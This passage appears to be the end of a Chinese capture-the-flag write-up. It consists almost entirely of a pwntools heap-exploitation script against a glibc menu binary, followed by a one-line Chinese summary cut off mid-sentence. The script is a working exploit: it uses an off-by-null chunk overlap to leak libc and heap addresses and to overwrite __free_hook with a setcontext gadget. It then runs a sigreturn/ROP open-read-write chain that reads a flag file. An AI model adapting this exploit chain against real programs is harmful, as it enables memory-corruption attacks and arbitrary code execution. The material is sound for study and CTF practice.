sea('Index: ', str(idx))
for i in range(3):
add(0x1000)# 0-2
add(0xc10) #3
for i in range(7):
add(0x28) #4-10
add(0xb20) #11
add(0x10) #12
free(11)
#-------------------------------------------------------
add(0x1000)#11
add(0x28)#13
edit(13, p64(0)+p64(0x521)+p8(0x60))
#------------------------fd->bk-------------------------
add(0x28)#14
add(0x28)#15
add(0x28)#16
add(0x28)#17
for i in range(7):
free(i+4)
free(16)
free(14)
for i in range(7):
add(0x28)
add(0x400)#14
add(0x28)#16
edit(16, p64(0)+p8(0x40))
#----------------------bk->fd---------------------------
add(0x28)#18
for i in range(7):
free(i+4)
free(15)
free(13)
for i in range(7):
add(0x28)
add(0x28)#13
edit(13, p8(0x40))
#------------------------off by null-------------------
add(0x28)#15
add(0x28)#19
add(0x5f8)#20
add(0x100)#21
edit(19, 'a'*0x20+p64(0x520))
free(20)
#---------------------------------------------------------------
add(0x18)
show(16)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 96 - 0x10
info('libc_base', libc_base)
gadget = libc_base + 0x0000000000154890#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
IO_stdin = libc_base + libc.sym['_IO_2_1_stdin_']
setcontext = libc_base + libc.sym['setcontext'] + 61
frame_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
str_jumps = libc_base + 0x1ed560
pop_rdi = libc_base + 0x0000000000026b72 # pop rdi ; ret
pop_rsi = libc_base + 0x0000000000027529 # pop rsi ; ret
pop_rdx = libc_base + 0x000000000011c241 # pop rdx ; pop r12 ; ret
pop_rax = libc_base + 0x000000000004a5b0 # pop rax ; ret
syscall = libc_base+libc.search(asm("syscall\nret")).next()
ret = libc_base + 0x0000000000025679 # ret
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
Write = libc_base + libc.sym['write']
#---------------------------------------------------------------
add(0x28)#22
add(0x28)#23
add(0x28)#24
add(0x28)#25
add(0x28)#26
for i in range(7):
free(i+4)
free(26)
free(25)
for i in range(7):
add(0x28)
show(17)
rc(9)
heap_addr = uu64(rc(6)) + 0xa60
heap_orw = heap_addr + 0x20
flag = heap_addr - 0xae0
frame_addr = heap_addr - 0x48e0
info('heap_addr', heap_addr)
info('flag', flag)
info('heap_orw', heap_orw)
#----------------------------------------------------------------
add(0x28)#25
add(0x28)#26
for i in range(7):
free(i+4)
free(22)
for i in range(7):
add(0x28)
edit(16, p64(free_hook-0x10))
add(0x28)#22
add(0x28)#27
edit(27, p64(gadget))
edit(23, './flag\x00\x00')
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = heap_orw
frame.rdx = 0x1000
frame.rsp = heap_orw
frame.rip = syscall
str_frame = str(frame)
p = p64(0)*4+p64(setcontext)
edit(0, p+str_frame[0x28:])
p = p64(0) + p64(frame_addr)
p2 = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)
p2 += p64(Open)
p2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Read)
p2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Write)
edit(11, p)
#debug()
free(11)
sl(p2)
#debug()
#sl('1')
r.interactive()
总结:
总结一下,调试是天